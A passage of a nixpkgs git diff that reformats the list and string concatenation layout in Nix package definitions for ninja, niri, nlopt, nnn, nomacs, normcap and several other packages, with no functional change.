+  ++ lib.optional (stdenv.hostPlatform.isDarwin || stdenv.hostPlatform.isLinux) "-d:nativeStacktrace";
 
   preBuild = lib.optionalString (stdenv.hostPlatform.isDarwin && stdenv.hostPlatform.isAarch64) ''
     substituteInPlace makefile \
diff --git a/pkgs/by-name/ni/ninja/package.nix b/pkgs/by-name/ni/ninja/package.nix
index fe89a9c1e670..5c6aeb40b2d4 100644
--- a/pkgs/by-name/ni/ninja/package.nix
+++ b/pkgs/by-name/ni/ninja/package.nix
@@ -39,66 +39,63 @@ stdenv.mkDerivation (finalAttrs: {
 
   depsBuildBuild = [ buildPackages.stdenv.cc ];
 
-  nativeBuildInputs =
-    [
-      python3
-      re2c
-      installShellFiles
-    ]
-    ++ lib.optionals buildDocs [
-      asciidoc
-      docbook_xml_dtd_45
-      docbook_xsl
-      libxslt.bin
-    ];
+  nativeBuildInputs = [
+    python3
+    re2c
+    installShellFiles
+  ]
+  ++ lib.optionals buildDocs [
+    asciidoc
+    docbook_xml_dtd_45
+    docbook_xsl
+    libxslt.bin
+  ];
 
   postPatch = ''
     # write rebuild args to file after bootstrap
     substituteInPlace configure.py --replace "subprocess.check_call(rebuild_args)" "open('rebuild_args','w').write(rebuild_args[0])"
   '';
 
-  buildPhase =
-    ''
-      runHook preBuild
+  buildPhase = ''
+    runHook preBuild
 
-      # for list of env vars
-      # see https://github.com/ninja-build/ninja/blob/v1.11.1/configure.py#L264
-      CXX="$CXX_FOR_BUILD" \
-      AR="$AR_FOR_BUILD" \
-      CFLAGS="$CFLAGS_FOR_BUILD" \
-      CXXFLAGS="$CXXFLAGS_FOR_BUILD" \
-      LDFLAGS="$LDFLAGS_FOR_BUILD" \
-      python configure.py --bootstrap
-      python configure.py
+    # for list of env vars
+    # see https://github.com/ninja-build/ninja/blob/v1.11.1/configure.py#L264
+    CXX="$CXX_FOR_BUILD" \
+    AR="$AR_FOR_BUILD" \
+    CFLAGS="$CFLAGS_FOR_BUILD" \
+    CXXFLAGS="$CXXFLAGS_FOR_BUILD" \
+    LDFLAGS="$LDFLAGS_FOR_BUILD" \
+    python configure.py --bootstrap
+    python configure.py
 
-      source rebuild_args
-    ''
-    + lib.optionalString buildDocs ''
-      # "./ninja -vn manual" output copied here to support cross compilation.
-      asciidoc -b docbook -d book -o build/manual.xml doc/manual.asciidoc
-      xsltproc --nonet doc/docbook.xsl build/manual.xml > doc/manual.html
-    ''
-    + ''
+    source rebuild_args
+  ''
+  + lib.optionalString buildDocs ''
+    # "./ninja -vn manual" output copied here to support cross compilation.
+    asciidoc -b docbook -d book -o build/manual.xml doc/manual.asciidoc
+    xsltproc --nonet doc/docbook.xsl build/manual.xml > doc/manual.html
+  ''
+  + ''
 
-      runHook postBuild
-    '';
+    runHook postBuild
+  '';
 
-  installPhase =
-    ''
-      runHook preInstall
+  installPhase = ''
+    runHook preInstall
 
-      install -Dm555 -t $out/bin ninja
-      installShellCompletion --name ninja \
-        --bash misc/bash-completion \
-        --zsh misc/zsh-completion
-    ''
-    + lib.optionalString buildDocs ''
-      install -Dm444 -t $out/share/doc/ninja doc/manual.asciidoc doc/manual.html
-    ''
-    + ''
+    install -Dm555 -t $out/bin ninja
+    installShellCompletion --name ninja \
+      --bash misc/bash-completion \
+      --zsh misc/zsh-completion
+  ''
+  + lib.optionalString buildDocs ''
+    install -Dm444 -t $out/share/doc/ninja doc/manual.asciidoc doc/manual.html
+  ''
+  + ''
 
-      runHook postInstall
-    '';
+    runHook postInstall
+  '';
 
   setupHook = ./setup-hook.sh;
 
diff --git a/pkgs/by-name/ni/niri/package.nix b/pkgs/by-name/ni/niri/package.nix
index 01e794e74456..c52d848feb19 100644
--- a/pkgs/by-name/ni/niri/package.nix
+++ b/pkgs/by-name/ni/niri/package.nix
@@ -55,21 +55,20 @@ rustPlatform.buildRustPackage (finalAttrs: {
     rustPlatform.bindgenHook
   ];
 
-  buildInputs =
-    [
-      libdisplay-info
-      libglvnd # For libEGL
-      libinput
-      libxkbcommon
-      libgbm
-      pango
-      seatd
-      wayland # For libwayland-client
-    ]
-    ++ lib.optional (withDbus || withScreencastSupport || withSystemd) dbus
-    ++ lib.optional withScreencastSupport pipewire
-    ++ lib.optional withSystemd systemd # Includes libudev
-    ++ lib.optional (!withSystemd) eudev; # Use an alternative libudev implementation when building w/o systemd
+  buildInputs = [
+    libdisplay-info
+    libglvnd # For libEGL
+    libinput
+    libxkbcommon
+    libgbm
+    pango
+    seatd
+    wayland # For libwayland-client
+  ]
+  ++ lib.optional (withDbus || withScreencastSupport || withSystemd) dbus
+  ++ lib.optional withScreencastSupport pipewire
+  ++ lib.optional withSystemd systemd # Includes libudev
+  ++ lib.optional (!withSystemd) eudev; # Use an alternative libudev implementation when building w/o systemd
 
   buildFeatures =
     lib.optional withDbus "dbus"
@@ -78,25 +77,24 @@ rustPlatform.buildRustPackage (finalAttrs: {
     ++ lib.optional withSystemd "systemd";
   buildNoDefaultFeatures = true;
 
-  postInstall =
-    ''
-      install -Dm0644 README.md resources/default-config.kdl -t $doc/share/doc/niri
-      mv wiki $doc/share/doc/niri/wiki
+  postInstall = ''
+    install -Dm0644 README.md resources/default-config.kdl -t $doc/share/doc/niri
+    mv wiki $doc/share/doc/niri/wiki
 
-      install -Dm0644 resources/niri.desktop -t $out/share/wayland-sessions
-    ''
-    + lib.optionalString withDbus ''
-      install -Dm0644 resources/niri-portals.conf -t $out/share/xdg-desktop-portal
-    ''
-    + lib.optionalString (withSystemd || withDinit) ''
-      install -Dm0755 resources/niri-session -t $out/bin
-    ''
-    + lib.optionalString withSystemd ''
-      install -Dm0644 resources/niri{-shutdown.target,.service} -t $out/lib/systemd/user
-    ''
-    + lib.optionalString withDinit ''
-      install -Dm0644 resources/dinit/niri{-shutdown,} -t $out/lib/dinit.d/user
-    '';
+    install -Dm0644 resources/niri.desktop -t $out/share/wayland-sessions
+  ''
+  + lib.optionalString withDbus ''
+    install -Dm0644 resources/niri-portals.conf -t $out/share/xdg-desktop-portal
+  ''
+  + lib.optionalString (withSystemd || withDinit) ''
+    install -Dm0755 resources/niri-session -t $out/bin
+  ''
+  + lib.optionalString withSystemd ''
+    install -Dm0644 resources/niri{-shutdown.target,.service} -t $out/lib/systemd/user
+  ''
+  + lib.optionalString withDinit ''
+    install -Dm0644 resources/dinit/niri{-shutdown,} -t $out/lib/dinit.d/user
+  '';
 
   env = {
     # Force linking with libEGL and libwayland-client
diff --git a/pkgs/by-name/ni/nix-doc/package.nix b/pkgs/by-name/ni/nix-doc/package.nix
index 121bef315ea2..dc6684e32e90 100644
--- a/pkgs/by-name/ni/nix-doc/package.nix
+++ b/pkgs/by-name/ni/nix-doc/package.nix
@@ -11,15 +11,14 @@
 }:
 
 let
-  packageFlags =
-    [
-      "-p"
-      "nix-doc"
-    ]
-    ++ lib.optionals withPlugin [
-      "-p"
-      "nix-doc-plugin"
-    ];
+  packageFlags = [
+    "-p"
+    "nix-doc"
+  ]
+  ++ lib.optionals withPlugin [
+    "-p"
+    "nix-doc-plugin"
+  ];
 in
 rustPlatform.buildRustPackage rec {
   pname = "nix-doc";
diff --git a/pkgs/by-name/ni/nix-template/package.nix b/pkgs/by-name/ni/nix-template/package.nix
index e81ac8de681d..6af77e074581 100644
--- a/pkgs/by-name/ni/nix-template/package.nix
+++ b/pkgs/by-name/ni/nix-template/package.nix
@@ -34,18 +34,17 @@ rustPlatform.buildRustPackage rec {
   buildInputs = [ openssl ];
 
   # needed for nix-prefetch-url
-  postInstall =
-    ''
-      wrapProgram $out/bin/nix-template \
-        --prefix PATH : ${lib.makeBinPath [ nix ]}
+  postInstall = ''
+    wrapProgram $out/bin/nix-template \
+      --prefix PATH : ${lib.makeBinPath [ nix ]}
 
-    ''
-    + lib.optionalString (stdenv.buildPlatform.canExecute stdenv.hostPlatform) ''
-      installShellCompletion --cmd nix-template \
-        --bash <($out/bin/nix-template completions bash) \
-        --fish <($out/bin/nix-template completions fish) \
-        --zsh <($out/bin/nix-template completions zsh)
-    '';
+  ''
+  + lib.optionalString (stdenv.buildPlatform.canExecute stdenv.hostPlatform) ''
+    installShellCompletion --cmd nix-template \
+      --bash <($out/bin/nix-template completions bash) \
+      --fish <($out/bin/nix-template completions fish) \
+      --zsh <($out/bin/nix-template completions zsh)
+  '';
 
   meta = with lib; {
     description = "Make creating nix expressions easy";
diff --git a/pkgs/by-name/ni/nix-top/package.nix b/pkgs/by-name/ni/nix-top/package.nix
index fa69693781e0..1f5717ed7ccb 100644
--- a/pkgs/by-name/ni/nix-top/package.nix
+++ b/pkgs/by-name/ni/nix-top/package.nix
@@ -36,20 +36,19 @@ stdenv.mkDerivation rec {
 
   buildInputs = [ ruby ];
 
-  installPhase =
-    ''
-      runHook preInstall
-      mkdir -p $out/libexec/nix-top
-      install -D -m755 ./nix-top $out/bin/nix-top
-      wrapProgram $out/bin/nix-top \
-        --prefix PATH : "$out/libexec/nix-top:${additionalPath}"
-    ''
-    + lib.optionalString stdenv.hostPlatform.isDarwin ''
-      ln -s /bin/stty $out/libexec/nix-top
-    ''
-    + ''
-      runHook postInstall
-    '';
+  installPhase = ''
+    runHook preInstall
+    mkdir -p $out/libexec/nix-top
+    install -D -m755 ./nix-top $out/bin/nix-top
+    wrapProgram $out/bin/nix-top \
+      --prefix PATH : "$out/libexec/nix-top:${additionalPath}"
+  ''
+  + lib.optionalString stdenv.hostPlatform.isDarwin ''
+    ln -s /bin/stty $out/libexec/nix-top
+  ''
+  + ''
+    runHook postInstall
+  '';
 
   meta = {
     description = "Tracks what nix is building";
diff --git a/pkgs/by-name/ni/nix-unit/package.nix b/pkgs/by-name/ni/nix-unit/package.nix
index 04c10a01c9cc..4b8659e0d75d 100644
--- a/pkgs/by-name/ni/nix-unit/package.nix
+++ b/pkgs/by-name/ni/nix-unit/package.nix
@@ -41,7 +41,8 @@ stdenv.mkDerivation (finalAttrs: {
     ninja
     # nlohmann_json can be only discovered via cmake files
     cmake
-  ] ++ lib.optional stdenv.cc.isClang [ clang-tools ];
+  ]
+  ++ lib.optional stdenv.cc.isClang [ clang-tools ];
 
   postInstall = ''
     wrapProgram "$out/bin/nix-unit" --prefix PATH : ${difftastic}/bin
diff --git a/pkgs/by-name/ni/nix-weather/package.nix b/pkgs/by-name/ni/nix-weather/package.nix
index fa4ad7a7a722..079057255e2b 100644
--- a/pkgs/by-name/ni/nix-weather/package.nix
+++ b/pkgs/by-name/ni/nix-weather/package.nix
@@ -28,14 +28,13 @@ rustPlatform.buildRustPackage rec {
   cargoExtraArgs = "-p nix-weather";
 
   nativeBuildInputs = [ pkg-config ];
-  buildInputs =
-    [
-      openssl
-      installShellFiles
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      libiconv
-    ];
+  buildInputs = [
+    openssl
+    installShellFiles
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    libiconv
+  ];
 
   outputs = [
     "out"
diff --git a/pkgs/by-name/ni/nixpkgs-review/package.nix b/pkgs/by-name/ni/nixpkgs-review/package.nix
index 1146e1f03b55..6942caebe84b 100644
--- a/pkgs/by-name/ni/nixpkgs-review/package.nix
+++ b/pkgs/by-name/ni/nixpkgs-review/package.nix
@@ -36,13 +36,12 @@ python3Packages.buildPythonApplication rec {
     python3Packages.argcomplete
   ];
 
-  nativeBuildInputs =
-    [
-      installShellFiles
-    ]
-    ++ lib.optionals withAutocomplete [
-      python3Packages.argcomplete
-    ];
+  nativeBuildInputs = [
+    installShellFiles
+  ]
+  ++ lib.optionals withAutocomplete [
+    python3Packages.argcomplete
+  ];
 
   nativeCheckInputs = [
     versionCheckHook
@@ -51,13 +50,12 @@ python3Packages.buildPythonApplication rec {
 
   makeWrapperArgs =
     let
-      binPath =
-        [
-          nix
-          git
-        ]
-        ++ lib.optional withSandboxSupport bubblewrap
-        ++ lib.optional withNom nix-output-monitor;
+      binPath = [
+        nix
+        git
+      ]
+      ++ lib.optional withSandboxSupport bubblewrap
+      ++ lib.optional withNom nix-output-monitor;
     in
     [
       "--prefix PATH : ${lib.makeBinPath binPath}"
diff --git a/pkgs/by-name/ni/nixtract/package.nix b/pkgs/by-name/ni/nixtract/package.nix
index 71bc900fed88..a3d3388f7f4e 100644
--- a/pkgs/by-name/ni/nixtract/package.nix
+++ b/pkgs/by-name/ni/nixtract/package.nix
@@ -27,11 +27,12 @@ rustPlatform.buildRustPackage rec {
 
   nativeBuildInputs = [ pkg-config ];
 
-  buildInputs =
-    [ openssl ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      libiconv
-    ];
+  buildInputs = [
+    openssl
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    libiconv
+  ];
 
   nativeCheckInputs = [ nix ];
 
diff --git a/pkgs/by-name/nl/nlohmann_json/package.nix b/pkgs/by-name/nl/nlohmann_json/package.nix
index de18f352ab5f..4d07976f3021 100644
--- a/pkgs/by-name/nl/nlohmann_json/package.nix
+++ b/pkgs/by-name/nl/nlohmann_json/package.nix
@@ -35,7 +35,8 @@ stdenv.mkDerivation (finalAttrs: {
     "-DJSON_BuildTests=${if finalAttrs.finalPackage.doCheck then "ON" else "OFF"}"
     "-DJSON_FastTests=ON"
     "-DJSON_MultipleHeaders=ON"
-  ] ++ lib.optional finalAttrs.finalPackage.doCheck "-DJSON_TestDataDirectory=${testData}";
+  ]
+  ++ lib.optional finalAttrs.finalPackage.doCheck "-DJSON_TestDataDirectory=${testData}";
 
   doCheck = stdenv.buildPlatform.canExecute stdenv.hostPlatform;
 
diff --git a/pkgs/by-name/nl/nlopt/package.nix b/pkgs/by-name/nl/nlopt/package.nix
index 51386f659748..5a78662322e8 100644
--- a/pkgs/by-name/nl/nlopt/package.nix
+++ b/pkgs/by-name/nl/nlopt/package.nix
@@ -86,42 +86,42 @@ clangStdenv.mkDerivation (finalAttrs: {
       --replace-fail 'libdir=''${exec_prefix}/@NLOPT_INSTALL_LIBDIR@' 'libdir=@NLOPT_INSTALL_LIBDIR@'
   '';
 
-  nativeBuildInputs =
-    [ cmake ]
-    ## Building the python bindings requires SWIG, and numpy in addition to the CXX routines.
-    ## The tests also make use of the same interpreter to test the bindings.
-    ++ lib.optionals withPython [
-      swig
-      buildPythonBindingsEnv
-    ]
-    ## Building the java bindings requires SWIG, C++, JNI and Java
-    ++ lib.optionals withJava [
-      swig
-      jdk
-    ]
-    ## Building octave bindings requires `mkoctfile` to be installed.
-    ++ lib.optional withOctave octave;
+  nativeBuildInputs = [
+    cmake
+  ]
+  ## Building the python bindings requires SWIG, and numpy in addition to the CXX routines.
+  ## The tests also make use of the same interpreter to test the bindings.
+  ++ lib.optionals withPython [
+    swig
+    buildPythonBindingsEnv
+  ]
+  ## Building the java bindings requires SWIG, C++, JNI and Java
+  ++ lib.optionals withJava [
+    swig
+    jdk
+  ]
+  ## Building octave bindings requires `mkoctfile` to be installed.
+  ++ lib.optional withOctave octave;
 
   # Python bindings depend on numpy at import time.
   propagatedBuildInputs = lib.optional withPython python3Packages.numpy;
 
-  cmakeFlags =
-    [
-      (lib.cmakeBool "BUILD_SHARED_LIBS" (!withStatic))
-      (lib.cmakeBool "NLOPT_CXX" true)
-      (lib.cmakeBool "NLOPT_PYTHON" withPython)
-      (lib.cmakeBool "NLOPT_OCTAVE" withOctave)
-      (lib.cmakeBool "NLOPT_JAVA" withJava)
-      (lib.cmakeBool "NLOPT_SWIG" (withPython || withJava))
-      (lib.cmakeBool "NLOPT_FORTRAN" false)
-      (lib.cmakeBool "NLOPT_MATLAB" false)
-      (lib.cmakeBool "NLOPT_GUILE" false)
-      (lib.cmakeBool "NLOPT_LUKSAN" (!withoutLuksanSolvers))
-      (lib.cmakeBool "NLOPT_TESTS" finalAttrs.doCheck)
-    ]
-    ++ lib.optional withPython (
-      lib.cmakeFeature "Python_EXECUTABLE" "${buildPythonBindingsEnv.interpreter}"
-    );
+  cmakeFlags = [
+    (lib.cmakeBool "BUILD_SHARED_LIBS" (!withStatic))
+    (lib.cmakeBool "NLOPT_CXX" true)
+    (lib.cmakeBool "NLOPT_PYTHON" withPython)
+    (lib.cmakeBool "NLOPT_OCTAVE" withOctave)
+    (lib.cmakeBool "NLOPT_JAVA" withJava)
+    (lib.cmakeBool "NLOPT_SWIG" (withPython || withJava))
+    (lib.cmakeBool "NLOPT_FORTRAN" false)
+    (lib.cmakeBool "NLOPT_MATLAB" false)
+    (lib.cmakeBool "NLOPT_GUILE" false)
+    (lib.cmakeBool "NLOPT_LUKSAN" (!withoutLuksanSolvers))
+    (lib.cmakeBool "NLOPT_TESTS" finalAttrs.doCheck)
+  ]
+  ++ lib.optional withPython (
+    lib.cmakeFeature "Python_EXECUTABLE" "${buildPythonBindingsEnv.interpreter}"
+  );
 
   postBuild = ''
     ${buildDocsEnv.interpreter} -m mkdocs build \
diff --git a/pkgs/by-name/nn/nng/package.nix b/pkgs/by-name/nn/nng/package.nix
index 18ee8629de75..44b03a9518c4 100644
--- a/pkgs/by-name/nn/nng/package.nix
+++ b/pkgs/by-name/nn/nng/package.nix
@@ -22,16 +22,18 @@ stdenv.mkDerivation rec {
   nativeBuildInputs = [
     cmake
     ninja
-  ] ++ lib.optionals mbedtlsSupport [ mbedtls ];
+  ]
+  ++ lib.optionals mbedtlsSupport [ mbedtls ];
 
   buildInputs = lib.optionals mbedtlsSupport [ mbedtls ];
 
-  cmakeFlags =
-    [ "-G Ninja" ]
-    ++ lib.optionals mbedtlsSupport [
-      "-DMBEDTLS_ROOT_DIR=${mbedtls}"
-      "-DNNG_ENABLE_TLS=ON"
-    ];
+  cmakeFlags = [
+    "-G Ninja"
+  ]
+  ++ lib.optionals mbedtlsSupport [
+    "-DMBEDTLS_ROOT_DIR=${mbedtls}"
+    "-DNNG_ENABLE_TLS=ON"
+  ];
 
   meta = with lib; {
     homepage = "https://nng.nanomsg.org/";
diff --git a/pkgs/by-name/nn/nnn/package.nix b/pkgs/by-name/nn/nnn/package.nix
index 568eba6e28c8..74e828d06e08 100644
--- a/pkgs/by-name/nn/nnn/package.nix
+++ b/pkgs/by-name/nn/nnn/package.nix
@@ -52,24 +52,24 @@ stdenv.mkDerivation (finalAttrs: {
     makeWrapper
     pkg-config
   ];
-  buildInputs =
-    [
-      readline
-      ncurses
-    ]
-    ++ lib.optional stdenv.hostPlatform.isMusl musl-fts
-    ++ lib.optional withPcre pcre;
+  buildInputs = [
+    readline
+    ncurses
+  ]
+  ++ lib.optional stdenv.hostPlatform.isMusl musl-fts
+  ++ lib.optional withPcre pcre;
 
   env.NIX_CFLAGS_COMPILE = lib.optionalString stdenv.hostPlatform.isMusl "-I${musl-fts}/include";
   NIX_LDFLAGS = lib.optionalString stdenv.hostPlatform.isMusl "-lfts";
 
-  makeFlags =
-    [ "PREFIX=$(out)" ]
-    ++ lib.optionals withIcons [ "O_ICONS=1" ]
-    ++ lib.optionals withNerdIcons [ "O_NERD=1" ]
-    ++ lib.optionals withEmojis [ "O_EMOJI=1" ]
-    ++ lib.optionals withPcre [ "O_PCRE=1" ]
-    ++ extraMakeFlags;
+  makeFlags = [
+    "PREFIX=$(out)"
+  ]
+  ++ lib.optionals withIcons [ "O_ICONS=1" ]
+  ++ lib.optionals withNerdIcons [ "O_NERD=1" ]
+  ++ lib.optionals withEmojis [ "O_EMOJI=1" ]
+  ++ lib.optionals withPcre [ "O_PCRE=1" ]
+  ++ extraMakeFlags;
 
   binPath = lib.makeBinPath [
     file
diff --git a/pkgs/by-name/no/node-problem-detector/package.nix b/pkgs/by-name/no/node-problem-detector/package.nix
index 16e23d8310d6..f2f31ebec964 100644
--- a/pkgs/by-name/no/node-problem-detector/package.nix
+++ b/pkgs/by-name/no/node-problem-detector/package.nix
@@ -27,7 +27,8 @@ buildGoModule rec {
   # https://github.com/kubernetes/node-problem-detector/blob/master/Makefile
   subPackages = [
     "cmd/nodeproblemdetector"
-  ] ++ lib.optionals stdenv.hostPlatform.isLinux [ "cmd/logcounter" ];
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isLinux [ "cmd/logcounter" ];
 
   preBuild = ''
     export CGO_ENABLED=${if stdenv.hostPlatform.isLinux then "1" else "0"}
diff --git a/pkgs/by-name/no/nodehun/package.nix b/pkgs/by-name/no/nodehun/package.nix
index d903cf04e92d..4cfc9cf9dabe 100644
--- a/pkgs/by-name/no/nodehun/package.nix
+++ b/pkgs/by-name/no/nodehun/package.nix
@@ -32,7 +32,8 @@ buildNpmPackage {
   nativeBuildInputs = [
     node-gyp
     python3
-  ] ++ lib.optionals stdenv.hostPlatform.isDarwin [ cctools ];
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [ cctools ];
 
   postInstall = ''
     # Only keep the necessary parts of build/Release to reduce closure size
diff --git a/pkgs/by-name/no/nomacs/package.nix b/pkgs/by-name/no/nomacs/package.nix
index 9de9d0d728ae..ac699f437056 100644
--- a/pkgs/by-name/no/nomacs/package.nix
+++ b/pkgs/by-name/no/nomacs/package.nix
@@ -36,10 +36,11 @@ stdenv.mkDerivation (finalAttrs: {
     hash = "sha256-gcRc4KoWJQ5BirhLuk+c+5HwBeyQtlJ3iyX492DXeVk=";
   };
 
-  outputs =
-    [ "out" ]
-    # man pages are not installed on Darwin, see cmake/{Mac,Unix}BuildTarget.cmake
-    ++ lib.optionals (!stdenv.hostPlatform.isDarwin) [ "man" ];
+  outputs = [
+    "out"
+  ]
+  # man pages are not installed on Darwin, see cmake/{Mac,Unix}BuildTarget.cmake
+  ++ lib.optionals (!stdenv.hostPlatform.isDarwin) [ "man" ];
 
   sourceRoot = "${finalAttrs.src.name}/ImageLounge";
 
@@ -56,24 +57,23 @@ stdenv.mkDerivation (finalAttrs: {
     pkg-config
   ];
 
-  buildInputs =
-    [
-      exiv2
-      libraw
-      libtiff
-      # Once python stops relying on `propagatedBuildInputs` (https://github.com/NixOS/nixpkgs/issues/272178), deprecate `cxxdev` and switch to `dev`;
-      # note `dev` is selected by `mkDerivation` automatically, so one should omit `getOutput "dev"`;
-      # see: https://github.com/NixOS/nixpkgs/pull/314186#issuecomment-2129974277
-      (lib.getOutput "cxxdev" opencv4)
-    ]
-    ++ (with myQt; [
-      kimageformats
-      qtbase
-      qtimageformats
-      qtsvg
-      qttools
-      quazip
-    ]);
+  buildInputs = [
+    exiv2
+    libraw
+    libtiff
+    # Once python stops relying on `propagatedBuildInputs` (https://github.com/NixOS/nixpkgs/issues/272178), deprecate `cxxdev` and switch to `dev`;
+    # note `dev` is selected by `mkDerivation` automatically, so one should omit `getOutput "dev"`;
+    # see: https://github.com/NixOS/nixpkgs/pull/314186#issuecomment-2129974277
+    (lib.getOutput "cxxdev" opencv4)
+  ]
+  ++ (with myQt; [
+    kimageformats
+    qtbase
+    qtimageformats
+    qtsvg
+    qttools
+    quazip
+  ]);
 
   cmakeFlags = [
     (lib.cmakeBool "ENABLE_OPENCV" true)
diff --git a/pkgs/by-name/no/normcap/package.nix b/pkgs/by-name/no/normcap/package.nix
index c4c17deb190e..923f193cc96d 100644
--- a/pkgs/by-name/no/normcap/package.nix
+++ b/pkgs/by-name/no/normcap/package.nix
@@ -16,15 +16,14 @@ let
 
   ps = python3.pkgs;
 
-  wrapperDeps =
-    [
-      leptonica
-      tesseract4
-      libnotify
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isLinux [
-      wl-clipboard
-    ];
+  wrapperDeps = [
+    leptonica
+    tesseract4
+    libnotify
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isLinux [
+    wl-clipboard
+  ];
 
 in
 
@@ -51,14 +50,13 @@ ps.buildPythonApplication rec {
     "shiboken6"
   ];
 
-  build-system =
-    [
-      ps.hatchling
-      ps.babel
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      ps.toml
-    ];
+  build-system = [
+    ps.hatchling
+    ps.babel
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    ps.toml
+  ];
 
   nativeBuildInputs = [
     copyDesktopItems
@@ -70,36 +68,35 @@ ps.buildPythonApplication rec {
     ps.toml
   ];
 
-  preFixup =
-    ''
-      makeWrapperArgs+=(
-        "''${qtWrapperArgs[@]}"
-        --set QT_QPA_PLATFORM xcb
-        --prefix PATH : ${lib.makeBinPath wrapperDeps}
-      )
-    ''
-    + lib.optionalString stdenv.hostPlatform.isLinux ''
-      # cursed fix on GNOME+wayland
-      # this works because systemd-run runs the command as an ad-hoc service named run-1234567890.service
-      # FIXME: make something like `--slice=app-com.github.dynobo.normcap.slice`
-      #        work such that the "screenshot screenshot" permission in
-      #        `flatpak permissions` is associated with the xdg app id
-      #        "com.github.dynobo.normcap" and not ""
-      makeWrapperArgs+=(
-        --run '
-          if command -v systemd-run >/dev/null; then
-              exec -a "$0" systemd-run --wait --user \
-                --setenv=PATH="$PATH" \
-                --setenv=PYTHONNOUSERSITE="$PYTHONNOUSERSITE" \
-                --setenv=QT_QPA_PLATFORM="$QT_QPA_PLATFORM" \
-                ${placeholder "out"}/bin/.normcap-wrapped "$@"
-          else
-              exec -a "$0" ${placeholder "out"}/bin/.normcap-wrapped "$@"
-          fi
-          exit $?
-        '
-      )
-    '';
+  preFixup = ''
+    makeWrapperArgs+=(
+      "''${qtWrapperArgs[@]}"
+      --set QT_QPA_PLATFORM xcb
+      --prefix PATH : ${lib.makeBinPath wrapperDeps}
+    )
+  ''
+  + lib.optionalString stdenv.hostPlatform.isLinux ''
+    # cursed fix on GNOME+wayland
+    # this works because systemd-run runs the command as an ad-hoc service named run-1234567890.service
+    # FIXME: make something like `--slice=app-com.github.dynobo.normcap.slice`
+    #        work such that the "screenshot screenshot" permission in
+    #        `flatpak permissions` is associated with the xdg app id
+    #        "com.github.dynobo.normcap" and not ""
+    makeWrapperArgs+=(
+      --run '
+        if command -v systemd-run >/dev/null; then
+            exec -a "$0" systemd-run --wait --user \
+              --setenv=PATH="$PATH" \
+              --setenv=PYTHONNOUSERSITE="$PYTHONNOUSERSITE" \
+              --setenv=QT_QPA_PLATFORM="$QT_QPA_PLATFORM" \
+              ${placeholder "out"}/bin/.normcap-wrapped "$@"
+        else
+            exec -a "$0" ${placeholder "out"}/bin/.normcap-wrapped "$@"
+        fi
+        exit $?
+      '
+    )
+  '';
 
   postInstall = lib.optionalString stdenv.hostPlatform.isLinux ''
     mkdir -p $out/share/pixmaps
@@ -119,16 +116,15 @@ ps.buildPythonApplication rec {
       xorg.xvfb
     ];
 
-  preCheck =
-    ''
-      export HOME=$(mktemp -d)
-    ''
-    + lib.optionalString stdenv.hostPlatform.isLinux ''
-      # setup a virtual x11 display
-      export DISPLAY=:$((2000 + $RANDOM % 1000))
-      Xvfb $DISPLAY -screen 5 1024x768x8 &
-      xvfb_pid=$!
-    '';
+  preCheck = ''
+    export HOME=$(mktemp -d)
+  ''
+  + lib.optionalString stdenv.hostPlatform.isLinux ''
+    # setup a virtual x11 display
+    export DISPLAY=:$((2000 + $RANDOM % 1000))
+    Xvfb $DISPLAY -screen 5 1024x768x8 &
+    xvfb_pid=$!
+  '';
 
   postCheck = lib.optionalString stdenv.hostPlatform.isLinux ''
     # cleanup the virtual x11 display
@@ -136,65 +132,63 @@ ps.buildPythonApplication rec {
     kill $xvfb_pid
   '';
 
-  disabledTests =
-    [
-      # requires a wayland session (no xclip support)
-      "test_wl_copy"
-      # RuntimeError: Please destroy the QApplication singleton before creating a new QApplication instance
-      "test_get_application"
-      # times out, unknown why
-      "test_update_checker_triggers_checked_signal"
-      # touches network
-      "test_urls_reachable"
-      # requires xdg
-      "test_synchronized_capture"
-      # flaky
-      "test_normcap_ocr_testcases"
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      # requires display
-      "test_send_via_qt_tray"
-      "test_screens"
-      # requires impure pbcopy
-      "test_get_copy_func_with_pbcopy"
-      "test_get_copy_func_without_pbcopy"
-      "test_perform_pbcopy"
-      "test_pbcopy"
-      "test_copy"
-      # NSXPCSharedListener endpointForReply:withListenerName:replyErrorCode:
-      # while obtaining endpoint 'ClientCallsAuxiliary': Connection interrupted
-      # since v5.0.0
-      "test_introduction_initialize_checkbox_state"
-      "test_introduction_checkbox_sets_return_code"
-      "test_introduction_toggle_checkbox_changes_return_code"
-      "test_show_introduction"
-    ];
+  disabledTests = [
+    # requires a wayland session (no xclip support)
+    "test_wl_copy"
+    # RuntimeError: Please destroy the QApplication singleton before creating a new QApplication instance
+    "test_get_application"
+    # times out, unknown why
+    "test_update_checker_triggers_checked_signal"
+    # touches network
+    "test_urls_reachable"
+    # requires xdg
+    "test_synchronized_capture"
+    # flaky
+    "test_normcap_ocr_testcases"
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    # requires display
+    "test_send_via_qt_tray"
+    "test_screens"
+    # requires impure pbcopy
+    "test_get_copy_func_with_pbcopy"
+    "test_get_copy_func_without_pbcopy"
+    "test_perform_pbcopy"
+    "test_pbcopy"
+    "test_copy"
+    # NSXPCSharedListener endpointForReply:withListenerName:replyErrorCode:
+    # while obtaining endpoint 'ClientCallsAuxiliary': Connection interrupted
+    # since v5.0.0
+    "test_introduction_initialize_checkbox_state"
+    "test_introduction_checkbox_sets_return_code"
+    "test_introduction_toggle_checkbox_changes_return_code"
+    "test_show_introduction"
+  ];
 
-  disabledTestPaths =
-    [
-      # touches network
-      "tests/tests_gui/test_downloader.py"
-      # fails to import, causes pytest to freeze
-      "tests/tests_gui/test_language_manager.py"
-      # RuntimeError("Internal C++ object (PySide6.QtGui.QHideEvent) already deleted.")
-      # AttributeError("'LoadingIndicator' object has no attribute 'timer'")
-      "tests/tests_gui/test_loading_indicator.py"
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      # requires a display
-      "tests/integration/test_normcap.py"
